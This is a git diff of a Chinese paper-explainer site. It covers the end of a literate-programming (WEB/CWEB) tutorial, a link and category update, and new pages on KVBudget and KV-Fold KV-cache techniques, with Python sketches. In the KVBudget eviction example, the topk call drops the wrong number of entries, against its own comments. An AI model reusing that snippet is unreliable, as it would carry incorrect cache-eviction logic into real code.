+**TANGLE 路径**：把 `«Sieve setup»` 展开进 `main` 之前，得到编译器习惯的扁平 `.c` 文件。
+
+## 代码示例二：用 chunk 拆分「读入—处理—输出」
+
+第二个例子强调 **叙述顺序 ≠ 编译顺序**。作者想先讲输出格式，再讲解析，TANGLE 仍可按引用拼出正确程序：
+
+```cweb
+@* A tiny word-count filter.
+We present sections in pedagogical order: output, then processing, then parsing.
+
+@<Print the report@>=
+void print_report(int words, int lines) {
+  printf("%d lines, %d words\n", lines, words);
+}
+
+@<Process one line@>=
+int count_words(const char *line) {
+  int n = 0, in_word = 0;
+  for (; *line; line++) {
+    if (isspace((unsigned char)*line)) in_word = 0;
+    else if (!in_word) { in_word = 1; n++; }
+  }
+  return n;
+}
+
+@<Driver@>=
+int main(void) {
+  char buf[256];
+  int lines = 0, words = 0;
+  while (fgets(buf, sizeof buf, stdin)) {
+    lines++;
+    words += count_words(buf);
+  }
+  print_report(words, lines);
+  return 0;
+}
+```
+
+传统写法往往被迫 `main` 置顶；文学化写法允许 **先写 `print_report` 给读者看终点**，再在文末用 `«Driver»` 收束。现代语言里，你仍可用任意拓扑顺序组织源文件，但 WEB 在 **1980 年代就把「可重排片段 + 命名引用」工具化**了。
+
+## 工具链一瞥
+
+```text
+           ┌─────────────┐
+  foo.w ──►│   WEAVE     │──► foo.tex ──► PDF（给人读，带索引）
+           └─────────────┘
+           ┌─────────────┐
+  foo.w ──►│   TANGLE    │──► foo.c  ──► 编译器 ──► 可执行文件
+           └─────────────┘
+```
+
+CWEB 对应工具名为 **CWEAVE** / **CTANGLE**。Knuth 的 TeX、METAFONT、MMIX 模拟器等大型程序均以 `.w` 源维护，并出版与代码一致的纸质文献。
+
+## 与现代工具的对照
+
+| 思想 | WEB/CWEB (1984) | 现代近似物 |
+|------|-----------------|------------|
+| 叙述 + 代码同一源 | `.w` 文件 | Jupyter、R Markdown、Quarto |
+| 从源生成排版文档 | WEAVE → TeX | Sphinx、MdBook、LaTeX `\lstinline` |
+| 从源抽取可执行代码 | TANGLE | Literate Haskell、`noweb`、部分 build 脚本 |
+| 命名片段与拼装 | `«chunk»` | 语言内模块、include，或自定义宏 |
+| 交叉引用与索引 | WEAVE 自动生成 | IDE、LSP、doc 站内链 |
+
+差异在于：WEB 是为 **长时间维护的大型系统** 设计的工业级工具链，不是单次数据分析笔记本；但其哲学直接影响了后来「可执行文档」整条谱系。
+
+## 论文中的 WEB 哲学摘录（意译）
+
+- 复杂软件最好被看作 ** delicately pieced together web**，理解局部与邻接关系即理解整体。
+- 程序员需要 **同时** 掌握排版语言与编程语言；各擅其一都不够。
+- 目标是 **state-of-the-art documentation** 与 **robust, portable** 程序并存，而非二选一。
+- 调试时间应显著下降——当你读的是连贯文章时，错误更容易定位在「哪一段叙述承诺了什么」。
+
+## 常见误解
+
+| 误解 | 澄清 |
+|------|------|
+| 「就是多写注释」 | 注释附属于代码；文学化源 **同时生成** 文档与程序，叙述结构是首要的 |
+| 「反对结构化编程」 | Knuth 与 Dijkstra 争论过 `goto`，但文学化关注的是 **文档化与顺序**，不是破坏结构 |
+| 「只适合 TeX 生态」 | 思想可移植；CWEB、`noweb`、Org Babel 等都是变体 |
+| 「小项目用不上」 | 小项目收益小；TeX 级复杂度时，单一真相来源的收益才显现 |
+
+## 与 TeX 巨著的关系
+
+Knuth 把 WEB 用于 **TeX: The Program**、**METAFONT: The Program** 等书：书中排版精美的代码列表，就是从同一份 `.web` WEAVE 出来的。这是文学化编程最硬核的「狗食」——不是幻灯片理念，而是数十年生产系统。
+
+## 学习路径建议
+
+1. **读本文 PDF**（约 12 页），抓住 WEB / WEAVE / TANGLE 三角关系。
+2. **浏览** Stanford CWEB 页面上的 [cweb.pdf](http://www.literateprogramming.com/cweb.pdf) 用户手册前几章，看真实 `@` 语法。
+3. **对照** 任意一篇 Jupyter 教程，思考：哪些块是「叙述」，哪些是「可被测试的 chunk」。
+4. **可选动手**：安装 `cweb`，编译官方 `cweave.w` / `ctangle.w` 迷你示例，体验一次 TANGLE 输出。
+
+## 自测题
+
+1. WEAVE 和 TANGLE 各解决什么问题？输入输出是什么？
+2. 为什么 Knuth 说程序像 **web** 而不是 **tree**？（提示：多向引用与片段复用）
+3. 叙述顺序与编译顺序不一致时，WEB 如何避免混乱？
+4. 文学化编程与「结构化编程」「信息隐藏」分别解决哪一层问题？
+5. 你今天用的哪些工具，可以看成文学化编程思想的「轻量化后代」？
+
+## 延伸阅读
+
+- Donald E. Knuth, *Literate Programming*, CSLI Lecture Notes 27, 1992（文集，含修订版本文）
+- Knuth & Levy, *The CWEB System of Structured Documentation*（CWEB 手册）
+- D. E. Knuth, *TeX: The Program*（WEB 源 WEAVE 成书的范例）
+- Norman Ramsey, **noweb** — 更轻量的文学化编程工具，影响许多课程作业模板
+
+## 一句话总结
+
+**Literate Programming 把程序写成给人读的文献，用 WEAVE 排出书籍、用 TANGLE 抽出机器码；Knuth 用 WEB 证明：文档与源码不必是两份真相，而可以是同一张用叙述编织的网。**
diff --git a/src/content/docs/papers/kocher-spectre-2019.md b/src/content/docs/papers/kocher-spectre-2019.md
index 8ab5d50f1..d9336f97e 100644
--- a/src/content/docs/papers/kocher-spectre-2019.md
+++ b/src/content/docs/papers/kocher-spectre-2019.md
@@ -169,5 +169,7 @@ function probe(index) {
 - [[cryptoverif-2008]] —— CryptoVerif — 让计算机直接证密码协议在真实计算模型下安全
 - [[gpu-cache-coherence-2013]] —— GPU 缓存一致性 — 用时戳代替失效消息
 - [[moesi-cache-coherence-1986]] —— Sweazey-Smith MOESI 1986 — 给多核 CPU 一份"谁手里有这块内存"的统一规则
+- [[rowhammer-2014]] —— Row Hammer — 不碰邻居也能把邻居的位翻过来
+- [[spectre-attack-2018]] —— Spectre Attacks — 推测执行如何绕过边界检查偷读内存
 - [[xen-2003]] —— Xen 2003 — 让操作系统配合虚拟化，性能直接接近原生
 
diff --git a/src/content/docs/papers/kubernetes-2016.md b/src/content/docs/papers/kubernetes-2016.md
index 7cead4de9..5cf904ed7 100644
--- a/src/content/docs/papers/kubernetes-2016.md
+++ b/src/content/docs/papers/kubernetes-2016.md
@@ -2,8 +2,8 @@
 title: Kubernetes — 为什么选声明式 API 加协调环
 来源: Burns, Grant, Oppenheimer, Brewer, Wilkes, Borg Omega and Kubernetes, ACM Queue 2016
 日期: 2026-06-01
-子分类: 内核与虚拟化
-分类: 操作系统
+子分类: 系统综合
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/papers/kv-cache-budget-2026.md b/src/content/docs/papers/kv-cache-budget-2026.md
new file mode 100644
index 000000000..8d6acb13d
--- /dev/null
+++ b/src/content/docs/papers/kv-cache-budget-2026.md
@@ -0,0 +1,292 @@
+---
+title: KVBudget: Per-Request KV Cache Budgeting in vLLM-style Serving
+来源: https://arxiv.org/abs/2605.30821
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# KVBudget: Per-Request KV Cache Budgeting in vLLM-style Serving
+
+## 一、先从生活场景说起
+
+想象你在一家咖啡馆（这就是 GPU）里工作。厨房只有有限的位置（这就是显存）。
+每位顾客点一杯不同的咖啡（这代表一个请求），每杯咖啡需要占用不同的台面空间（这就是 KV Cache 的大小）。
+
+在没有预算管理的咖啡馆，第一位顾客点了超大杯，占满了整个台面。后面的顾客只能等着，
+或者咖啡师临时把前面顾客的咖啡倒掉——但这样第一位顾客的咖啡就毁了（上下文丢失，需要重算）。
+
+KVBudget 的思路是：每位顾客在点单时就被分配了一个"预算"。
+这个预算决定了他能占用多少台面空间。如果预算用完了，系统会聪明地选择哪些咖啡该保留、哪些该"倒掉"（丢弃部分 KV 条目）。
+
+这就是这篇论文的核心：**每个请求在运行前就被分配一个 KV Cache 的预算额度，系统据此决定保留哪些 key-value 对。**
+
+## 二、背景：为什么需要 KV Cache Budgeting？
+
+### 2.1 KV Cache 是什么？
+
+在大语言模型推理中，每个请求都会产生大量中间计算结果。具体来说：
+
+当模型读到第 1 个 token 时，会计算出对应的 key 和 value 向量。
+当读到第 2 个 token 时，又产生新的 key-value 对。
+这些 key-value 对被缓存起来（称为 KV Cache），因为后续生成 token 时还需要回头"查阅"它们。
+
+**问题在于**：KV Cache 的大小随着上下文长度线性增长。如果同时服务 100 个请求，每个请求有 32K 的上下文，
+那么 KV Cache 的总大小可能远超 GPU 显存。
+
+### 2.2 vLLM 的 PagedAttention
+
+vLLM 用了一个聪明的方案：PagedAttention。
+就像操作系统的虚拟内存分页机制一样，它把 KV Cache 分成"页"来管理，
+允许非连续分配，大幅减少了内存碎片和浪费。
+
+**但 vLLM 有一个局限**：它假设每个请求需要完整的 KV Cache。
+如果显存不够，它会拒绝新请求，或者在极端情况下导致服务中断。
+
+### 2.3 KVBudget 的思路
+
+KVBudget 做了一个根本性的改变：**每个请求不再需要完整的 KV Cache。**
+相反，系统给每个请求分配一个"预算"——最多可以占用多少 KV 条目。
+
+如果请求的上下文超过了预算，系统就选择性地丢弃一部分 KV 条目。
+关键是：**丢弃哪些？用什么标准决定优先级？**
+
+这就是这篇文章要解决的核心问题。
+
+## 三、核心概念
+
+### 3.1 预算分配函数
+
+系统需要一个函数，根据请求的特性来决定预算大小。
+常见的分配策略包括：
+
+- **静态分配**：每个请求分配固定数量的 KV 条目（比如 1024 个）
+- **动态分配**：根据请求的当前上下文长度动态计算预算
+- **优先级分配**：高优先级请求获得更多预算
+
+### 3.2 KV 条目的重要性评分
+
+当需要丢弃 KV 条目时，系统需要评估每个条目的"重要性"。
+重要性通常与 token 对后续生成的贡献程度相关：
+
+- **注意力权重高的 token**：如果某个 token 在后续生成中被频繁"关注"，它很重要
+- **位置信息**：开头和最近的 token 通常更重要（近因效应）
+- **语义关键 token**：实体名称、数字等关键信息
+
+### 3.3 预算超限时的 evict 策略
+
+当请求的上下文超过预算时，系统执行 evict（驱逐）：
+
+1. 计算所有 KV 条目的重要性分数
+2. 按照分数从低到高排序
+3. 丢弃低于预算限额的那些条目
+4. 更新元数据，确保后续访问不会出错
+
+## 四、代码示例
+
+### 示例 1：预算分配的伪代码
+
+```python
+class KVBudgetManager:
+    """管理每个请求的 KV Cache 预算"""
+
+    def __init__(self, max_total_pages: int, page_size: int = 16):
+        # 总页数限制
+        self.max_total_pages = max_total_pages
+        self.page_size = page_size
+
+        # 每个请求的预算分配表
+        self.budgets: dict[int, int] = {}
+        # 每个请求实际占用的页数
+        self.allocated: dict[int, int] = {}
+        # 当前总占用
+        self.current_usage = 0
+
+    def assign_budget(self, request_id: int, context_length: int, num_layers: int) -> int:
+        """
+        为请求分配 KV Cache 预算。
+
+        参数:
+            request_id: 请求的唯一标识
+            context_length: 请求的上下文长度（token 数）
+            num_layers: 模型的层数
+
+        返回:
+            分配的 KV 条目数量（budget）
+        """
+        # 每个 token 产生的 KV 条目数 = 2 * num_layers（key 和 value）
+        total_kv_entries = 2 * num_layers * context_length
+
+        # 策略：分配 64 页的预算（page_size=16 意味着 1024 个条目）
+        budget_pages = min(64, total_kv_entries // self.page_size + 1)
+        budget_entries = budget_pages * self.page_size
+
+        self.budgets[request_id] = budget_entries
+        self.allocated[request_id] = 0
+        return budget_entries
+
+    def try_allocate(self, request_id: int, pages_needed: int) -> bool:
+        """尝试为请求分配页数。如果总占用超过限制，则触发 evict 策略。"""
+        if self.current_usage + pages_needed <= self.max_total_pages:
+            self.allocated[request_id] = pages_needed
+            self.current_usage += pages_needed
+            return True
+
+        # 预算不足，需要 evict 其他请求
+        return self.evict_others(pages_needed)
+
+    def evict_others(self, pages_needed: int) -> bool:
+        """
+        驱逐其他请求的 KV Cache 以腾出空间。
+
+        策略：优先驱逐预算已用满且上下文最早过期的请求。
+        """
+        pages_freed = 0
+
+        # 按"最近使用时间"排序，驱逐最久未使用的
+        candidates = sorted(
+            [(rid, self.allocated[rid]) for rid in self.allocated],
+            key=lambda x: x[1],  # 按已分配页数排序（可以换成 LRU 时间戳）
+        )
+
+        for request_id, allocated in candidates:
+            if pages_freed >= pages_needed:
+                break
+            pages_freed += allocated
+            self.current_usage -= allocated
+            del self.allocated[request_id]
+
+        return pages_freed >= pages_needed
+```
+
+**解读**：
+
+这段代码展示了一个最基础的预算管理器。关键要点：
+
+- `assign_budget` 方法决定每个请求能分到多少 KV Cache
+- `try_allocate` 检查总预算是否够用
+- 如果不够，`evict_others` 会"腾出空间"
+
+在真实实现中，evict 策略会更精细——不是简单丢弃整个请求的 KV Cache，
+而是只丢弃超出预算的那些 KV 条目，保留重要的部分。
+
+### 示例 2：KV 条目重要性评分与选择性丢弃
+
+```python
+import torch
+import torch.nn.functional as F
+
+class SelectiveKVCache:
+    """
+    支持选择性保留 KV Cache 的缓存实现。
+    当超出预算时，根据重要性分数丢弃条目。
+    """
+
+    def __init__(self, budget: int, page_size: int = 16):
+        self.budget = budget          # 预算：最多保留的 KV 条目数
+        self.page_size = page_size
+        self.pages: list[torch.Tensor] = []  # 存储 KV 页面的列表
+        self.token_count = 0           # 已添加的 token 总数
+        self.importance_scores = []    # 每个 token 的重要性分数
+
+    def append(self, key: torch.Tensor, value: torch.Tensor, attention_weights: torch.Tensor):
+        """
+        添加新的 KV 页面。
+
+        参数:
+            key: [num_heads, num_tokens, head_dim] 的 key 矩阵
+            value: [num_heads, num_tokens, head_dim] 的 value 矩阵
+            attention_weights: [num_heads, num_tokens] 当前 token 对所有历史 token 的注意力权重
+        """
+        self.pages.append(key)
+        self.pages.append(value)
+        self.token_count += key.shape[1]
+
+        # 根据注意力权重计算重要性分数
+        # 注意力权重越高，说明这个 token 越重要，越不该被丢弃
+        scores = attention_weights.mean(dim=0)  # 对 heads 取平均
+        self.importance_scores.append(scores)
+
+        # 检查是否超出预算
+        if self.token_count > self.budget:
+            self.evict_low_importance()
+
+    def evict_low_importance(self):
+        """
+        丢弃重要性最低的 KV 条目，直到回到预算范围内。
+        """
+        if len(self.importance_scores) == 0:
+            return
+
+        # 将所有重要性分数合并成一个一维列表
+        all_scores = torch.cat(self.importance_scores)
+
+        # 计算需要丢弃的条目数
+        num_to_keep = self.budget
+        num_to_evict = len(all_scores) - num_to_keep
+
+        if num_to_evict <= 0:
+            return
+
+        # 找到重要性最低的 num_to_evict 个条目的索引
+        _, indices = torch.topk(all_scores, k=num_to_keep, largest=False, sorted=False)
+        keep_mask = torch.ones_like(all_scores, dtype=torch.bool)
+        keep_mask[indices] = False  # True = 保留，False = 丢弃
+
+        # 按页重新构建 KV Cache，只保留重要性高的条目
+        # 注意：这里简化了实现，实际中需要更精细的页管理
+        new_pages = []
+        for page in self.pages:
+            # page 的维度是 [num_heads, num_tokens, head_dim]
+            # 只对 token 维度应用 mask
+            new_pages.append(page[:, keep_mask])
+
+        self.pages = new_pages
+        # 更新 token 计数
+        self.token_count = sum(p.shape[1] for p in self.pages[:1])  # 简化
+        self.importance_scores = []
+```
+
+**解读**：
+
+这段代码的核心逻辑是：
+
+1. `append` 时，用注意力权重计算每个历史 token 的重要性
+2. 注意力权重大 = 后面的 token 经常"回头参考"它 = 它很重要 = 不应该被丢弃
+3. `evict_low_importance` 按分数排序，丢弃最不重要的一部分
+
+**一个需要注意的细节**：在实际的 Transformer 中，KV Cache 是按层（layer）存储的。
+上面的代码做了简化，真实实现中需要对每一层都独立进行预算管理和 evict。
+
+## 五、为什么这很重要？
+
+### 5.1 显存效率的提升
+
+没有预算机制时，系统要么拒绝请求（降低吞吐量），要么耗尽显存（导致崩溃）。
+KVBudget 让系统能在有限显存下服务更多请求——即使每个请求只用了部分上下文。
+
+### 5.2 对长上下文的支持
+
+当上下文超长时（比如 128K token），KV Cache 可能占数十 GB。
+有了预算机制，系统可以把最重要的部分保留在 GPU 上，把次要部分放到 CPU 甚至磁盘上。
+这就像是手机的"后台管理"：重要的 App 保留在内存中，不常用的被挂起。
+
+### 5.3 多租户场景下的公平性
+
+在多人同时使用大模型的场景下，预算机制可以确保：
+- 付费用户获得更多 KV Cache 预算
+- 普通用户的请求不会挤占高优先级用户的资源
+- 系统整体不会因为个别超长请求而崩溃
+
+## 六、总结
+
+| 概念 | 说明 | 类比 |
+|------|------|------|
+| KV Cache | 存储历史 token 的 key-value 对 | 咖啡师记着每位顾客的订单 |
+| 预算分配 | 给每个请求分配最大 KV 容量 | 给每位顾客分配台面大小 |
+| 重要性评分 | 决定哪些 KV 条目该保留 | 哪些咖啡配方值得反复记住 |
+| Evict | 超出预算时丢弃不重要的 KV | 台面满了，先倒掉没人要的咖啡 |
+
+**一句话总结**：KVBudget 用"预算"代替"全部保留"的思路，
+让大模型服务在有限显存下跑得更快、更稳、更公平。
diff --git a/src/content/docs/papers/kv-fold.md b/src/content/docs/papers/kv-fold.md
new file mode 100644
index 000000000..75d3726e1
--- /dev/null
+++ b/src/content/docs/papers/kv-fold.md
@@ -0,0 +1,356 @@
+---
+title: KV-Fold — 一步 KV 缓存递推实现长上下文推理
+来源: 'Nadali et al., "KV-Fold: One-Step KV-Cache Recurrence for Long-Context Inference", arXiv:2605.12471, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：接力读一本厚书
+
+想象你要读完一本 500 页的技术手册，但规定是：**每次只能翻开连续 10 页**，读完后必须把「到目前为止的理解」写在一张便签上，下次读新的 10 页时，先读便签，再读新页，然后把新理解追加到便签末尾。
+
+Transformer 做长上下文推理时，面临类似约束：
+
+- **理想情况**：一次性把 128K token 全部喂进模型，每个新 token 都能 attend 到全部历史——显存和算力往往撑不住（全注意力分数矩阵可以大到 TB 级）。
+- **StreamingLLM 式做法**：便签只保留最近 1024 个 token + 几个「注意力 sink」——内存 bounded，但写在第 1 页的关键数字，读到第 500 页时可能已经不在便签上了。
+- **KV-Fold 的做法**：便签就是 **KV cache**——不压缩、不丢弃，每读完一个 chunk 就把新产生的 K/V **原样拼接**进累积 cache，传给下一步。像函数式编程里的 `foldl`：同一个「一步更新」反复套用，accumulator 越滚越大，但**早期 token 的 K/V 始终还在**，后面还能通过 attention 精确找回来。
+
+论文的核心发现是：这种递推 surprisingly **稳定**——相对「一次性全上下文 forward」的预测分布，误差（drift）在前几步略升，然后进入**平台期**，深度到 511 步也不继续恶化；在 needle-in-a-haystack 上，Llama-3.1-8B 在 16K–128K、深度 511 的设定下 **152/152 次精确检索成功**，单卡 40GB A100 可跑完。
+
+---
+
+## 是什么
+
+**KV-Fold** 是一种 **training-free**（无需微调、不改架构）的长上下文**推理协议**，把预训练 Transformer 的 KV cache 当作跨 chunk 的**递推状态（recurrent state）**：
+
+1. 把长序列切成长度为 `C` 的 chunk：`x₀, x₁, …, x_{N-1}`，总长度 `T = N × C`。
+2. 处理 chunk `t` 时，把 chunk `0…t-1` 累积的 KV cache 当作 **prefix**，当前 chunk 的 query 可以 attend 到全部历史 K/V。
+3. forward 结束后，把 chunk `t` 新产生的 K/V **append** 到 cache，**不做 copy 变换、不压缩**，传给 chunk `t+1`。
+4. 新 token 的 **position id 从绝对位置 `t×C` 连续编号**，RoPE 与「一次性读完整序列」对齐。
+
+用函数式写法，就是 left fold：
+
+```text
+(K, V) = foldl(F_θ, (∅, ∅), [x₀, x₁, …, x_{N-1}])
+```
+
+其中 `F_θ` 是标准 Transformer forward，accumulator 是不断变长的 `(K, V)` cache。
+
+论文建立在 **LatentMAS** 等工作提出的「KV cache 拼接 / 跨 pass 当 prefix」原语之上，但用途从多智能体 latent 通信改成了**单模型内的长上下文分块推理**。
+
+---
+
+## 为什么重要
+
+长上下文是 2024–2026 LLM 的主战场，但常见路线各有代价：
+
+| 路线 | 典型代表 | 优点 | 代价 |
+|------|----------|------|------|
+| 原生长窗口 | Llama 3.1 128K | 行为与训练一致 | 单次 forward 显存/算力爆炸 |
+| 流式 / 滑动窗口 | StreamingLLM | 内存 bounded、快 | 窗口外 token **不可检索** |
+| KV 压缩 / 驱逐 | H2O、SnapKV 等 | 省显存 | **有损**，精确召回任务易掉点 |
+| 改架构 / 再训练 | RingAttention、YaRN 微调 | 可扩展 | 工程或训练成本高 |
+
+KV-Fold 占了一个独特位置：**不训练、不压缩、保留完整 KV 历史**，用多次「可承受的 forward」换「单次不可承受的 forward」。论文用 drift 曲线证明递推不是误差雪崩，用 NIAH 证明**任务级精确信息**可跨数百个 chunk 边界保留——说明 frozen pretrained Transformer **已经具备**这种 KV 递推能力，只是以前没人系统把它当长上下文协议来用。
+
+---
+
+## 核心概念
+
+### 1. KV cache 不只是加速技巧
+
+Decoder-only 模型自回归生成时，每层会为已见 token 缓存 Key/Value，避免重复计算。KV-Fold 把 cache 重新定义为：**模型过去计算的 structured record**，是可跨 chunk 携带的**状态**，而不只是 serving 优化。
+
+### 2. 一步更新（one-step recurrence）
+
+每个 chunk 边界只做**一次**标准 forward + append，chunk 内部不再迭代。这与 REFORM、LESS 等「chunk 内多轮 / 压缩后再递推」不同——KV-Fold 刻意保持极简。
+
+Attention 在 layer ℓ 上形如：
+
+```text
+Q_t^(ℓ)  来自当前 chunk 的新 token
+K_{0:t}^(ℓ) = [K_0^(ℓ); K_1^(ℓ); …; K_{t-1}^(ℓ); K_t^(ℓ)]   // 沿序列维拼接
+V_{0:t}^(ℓ) 同理
+```
+
+chunk `t-1` 的 K/V **原样**作为 prefix 进入 chunk `t`，边界处 **continuous position IDs** 至关重要。
+
+### 3. Drift 与平台期（plateau）
+
+论文定义三种对照：
+
+- **full**：单次全上下文 forward 的 NLL（上界）
+- **isolated**：每个 chunk 单独 forward、无 prefix（下界）
+- **kv-fold**：带累积 KV prefix 的 NLL
+
+**Drift** = `NLL_kv-fold − NLL_full`：相对「理想全注意力」偏了多少。  
+**Recurrence advantage** = `NLL_isolated − NLL_kv-fold`：递推比孤立 chunk 好多少。
+
+实验（Qwen2.5-7B，T=16K，C=256）：drift 在前 ~7 个 chunk 边界上升，之后 **~0.04 nats 平台期** 维持到 depth 63；advantage 全程为正。把精度从 bf16 提到 fp32（约 10000×），平台 drift 只降 **2.8%**——说明主要是**结构性** attention  regime 偏移，不是舍入误差累积。
+
+### 4. 与 StreamingLLM 的权衡
+
+| 指标 | KV-Fold @ 128K | StreamingLLM @ 128K |
+|------|----------------|------------------------|
+| Peak GPU 内存 | ~35.6 GB（线性增长） | ~16.6 GB（固定 ~1024 cache） |
+| NIAH 检索 | 100%（needle 可在任意深度） | 0%（needle 滑出窗口后） |
+|  wall-clock | ~171 s（Llama-3.1-8B） | 更快，但丢远程事实 |
+
+**多出来的内存买的是完整检索能力**，不是 perplexity  alone。
+
+### 5. Needle-in-a-haystack 协议（任务级验证）
+
+1. 从 PG-19 采样 16K+ token 长文作 haystack。  
+2. 插入句子：`The magic number for [key] is [value].`（key 为罕见词，value 为 5 位数字）。  
+3. 控制 needle 与最终问题之间的 **chain depth** `d`（chunk 边界数）。  
+4. 问：`Earlier in the document, what was the magic number associated with [key]?`  
+5. 贪婪解码 30 token，抽取第一个 5 位数与 gold 比对。
+
+KV-Fold 在 Qwen2.5-7B 上 d∈{1,15,31,62} 各 20 次 trial **80/80**；Llama-3.1-8B 扩到 T=128K、depth 511 仍 **152/152**。
+
+---
+
+## 代码示例 1：最小 KV-Fold 推理循环（伪代码）
+
+下面用接近 PyTorch / HuggingFace 的伪代码展示协议本身——**核心就是 prefix cache + 连续 position + concat**：
+
+```python
+def kv_fold_prefill(model, token_ids: list[int], chunk_size: int = 256):
+    """
+    将长 prompt 按 KV-Fold 协议预填充，返回最终 past_key_values 供 decode 使用。
+    token_ids: 完整长上下文
+    chunk_size: 每个 chunk 的 token 数 C
+    """
+    past_kv = None          # accumulator: 各层 (K, V)，初始为空
+    abs_pos = 0             # 全局绝对位置，供 RoPE / position_ids
+
+    for start in range(0, len(token_ids), chunk_size):
+        chunk = token_ids[start : start + chunk_size]
+        position_ids = list(range(abs_pos, abs_pos + len(chunk)))
+
+        # 关键：past_key_values 作为 prefix；新 chunk 的 Q 可 attend 全部历史 K/V
+        outputs = model.forward(
+            input_ids=chunk,
+            position_ids=position_ids,
+            past_key_values=past_kv,
+            use_cache=True,
+        )
+
+        # 一步更新：append 本 chunk 产生的 K/V（框架通常已在 past 里 concat 好）
+        past_kv = outputs.past_key_values
+        abs_pos += len(chunk)
+
+    return past_kv
+
+
+def generate_after_kv_fold(model, past_kv, question_ids: list[int]):
+    """Haystack 读完后的短问题可以照常 autoregressive 生成。"""
+    return model.generate(
+        input_ids=question_ids,
+        past_key_values=past_kv,
+        max_new_tokens=30,
+        do_sample=False,  # 论文 NIAH 用 greedy
+    )
+```
+
+实现时务必确认三点：
+
+1. **position_ids 跨 chunk 连续**，不能每个 chunk 从 0 重计。  
+2. **prefix K/V 不做额外投影或压缩**（与 LatentMAS Eq.4 一致）。  
+3. 框架的 `past_key_values` 语义是「当前 forward 之前已存在的 KV」；不同版本 API 字段名可能不同（`cache_position` 等），但逻辑不变。
+
+---
+
+## 代码示例 2：用 `foldl` 理解递推 + 简单 drift 监控
+
+第二个例子从函数式视角写递推，并演示如何像论文一样监控 **per-depth drift**（需要偶尔跑 full baseline 作对照）：
+
+```python
+from dataclasses import dataclass
+from typing import Any, Callable, Iterable, Optional
+
+Chunk = list[int]
+KVCache = Any  # 每层 (key, value) 的 tuple 列表
+
+
+@dataclass
+class FoldState:
+    kv: Optional[KVCache]
+    depth: int = 0
+
+
+def foldl_chunks(
+    chunks: Iterable[Chunk],
+    step_fn: Callable[[FoldState, Chunk], FoldState],
+    init: FoldState,
+) -> FoldState:
+    """与论文 Eq.(2) 同构的 left fold。"""
+    acc = init
+    for x_t in chunks:
+        acc = step_fn(acc, x_t)
+        acc.depth += 1
+    return acc
+
+
+def make_step(model, nll_fn) -> Callable[[FoldState, Chunk], FoldState]:
+    def step(acc: FoldState, chunk: Chunk) -> FoldState:
+        pos = acc.depth * len(chunk)  # 简化：等长 chunk；不等长时用 running offset
+        out = model.forward(chunk, past_key_values=acc.kv, position_offset=pos)
+        return FoldState(kv=out.past_key_values, depth=acc.depth)
+    return step
+
+
+def per_depth_drift(model, full_ids: list[int], chunk_size: int) -> list[float]:
+    """
+    drift(d) = NLL_kv_fold(d) - NLL_full(d)
+    论文在 PG-19 上对每个 chunk 边界算 marginal NLL；这里示意结构。
+    """
+    chunks = [
+        full_ids[i : i + chunk_size]
+        for i in range(0, len(full_ids), chunk_size)
+    ]
+    drifts = []
+
+    for d, _ in enumerate(chunks):
+        # full baseline：同一窗口内单次 forward（仅当 T 能放进显存时可行）
+        nll_full = model.nll_at_chunk_boundary(full_ids, chunk_index=d, mode="full")
+
+        # kv-fold：只 fold 到第 d 个 chunk
+        state = foldl_chunks(
+            chunks[: d + 1],
+            make_step(model, None),
+            FoldState(kv=None, depth=0),
+        )
+        nll_fold = model.nll_at_chunk_boundary(full_ids, chunk_index=d, past_kv=state.kv)
+
+        drifts.append(nll_fold - nll_full)
+
+    return drifts
+
+
+# 预期形状（与论文 Fig.3 一致）：
+# drifts[:7]  可能缓慢上升
+# drifts[7:]  进入平台，总变化 ~ O(1e-4) nats 量级
+```
+
+这段代码不能直接跑通所有 HF 模型（`nll_at_chunk_boundary` 需按实现补齐），但抓住了论文的**评估骨架**：不是只看最终 loss，而是看 **chain depth 上的 drift 曲线是否饱和**。
+
+---
+
+## 算法流程（一图胜千言）
+
+```text
+初始: K,V = 空
+
+对于 t = 0 .. N-1:
+    ┌─────────────────────────────────────────────┐
+    │  Forward chunk x_t                          │
+    │  · position_ids = [tC, tC+1, …, (t+1)C-1]   │
+    │  · prefix = (K_{0:t-1}, V_{0:t-1})          │
+    │  · 计算 Q_t,  attend 到 K_{0:t}, V_{0:t}    │
+    └─────────────────────────────────────────────┘
+                        │
+                        ▼
+              Append K_t, V_t → 累积 cache
+                        │
+                        ▼
+              传给 chunk t+1（无压缩）
+
+全部 chunk 处理完后:
+    用最终 past_key_values + 短问题 prompt → generate
+```
+
+---
+
+## 实验结果速览
+
+**稳定性（Qwen2.5-7B-Instruct，T=16K，C=256）**
+
+- Drift 在 depth≈7 饱和，depth 15→60 总变化 −0.0003 nats。  
+- Recurrence advantage 从 +0.33 到 +0.45 nats，全程为正。  
+- 跨 OLMoE / Qwen2.5 / Llama-3.1 三族，**定性模式相同**。
+
+**检索（Llama-3.1-8B-Instruct）**
+
+- T ∈ {32K, 64K, 96K, 128K}，chain depth 最高 **511**。  
+- **152/152** exact-match；peak memory @128K ≈ 35.6 GB / 40 GB A100。  
+- 对比 StreamingLLM：needle 一旦离开 1024 token 窗口，检索 **0%**。
+
+**精度消融**
+
+- bf16 平台 drift 0.0647 vs fp32 0.0629 nats。  
+- Chunk size C ∈ {128,256,512,1024}，平台 drift 变化 <9%，无单调依赖。
+
+---
+
+## 适用 vs 不适用
+
+**适合 KV-Fold 的场景**
+
+- 需要在 **不改权重** 的前提下，把现有 8B 级模型推到 **64K–128K** 级 document QA、日志审计、代码库扫描。  
+- 任务要求 **精确召回** 早期事实（合同条款号、magic number、CVE id），不能接受 StreamingLLM 式窗口外丢失。  
+- 硬件有 **线性增长的 KV 显存预算**（例如 40GB 单卡可换 128K×8B 量级）。  
+- 可以接受 **多次 forward 的 wall-clock**（128K 约 171s 量级），而非单次 ultra-fast prefill。
+
+**不太适合的场景**
+
+- **显存硬上限** 且无法线性扩容：cache 随 T 线性增长，没有 bounded-memory 保证。  
+- 需要与 **full-attention 逐 token 完全一致** 的生成分布：存在 ~0.04–0.12 nats 级 plateau drift（检索仍 100%，但 open-ended 生成可能有细微差异）。  
+- 超长上下文 **远超训练 RoPE 范围** 且未做位置外推：论文刻意在 Llama 3.1 **原生 128K 内**测试，避免 OOD 因素。  
+- 极低延迟在线服务：Streaming / 压缩 KV 通常更快。
+
+---
+
+## 与相关工作的关系
+
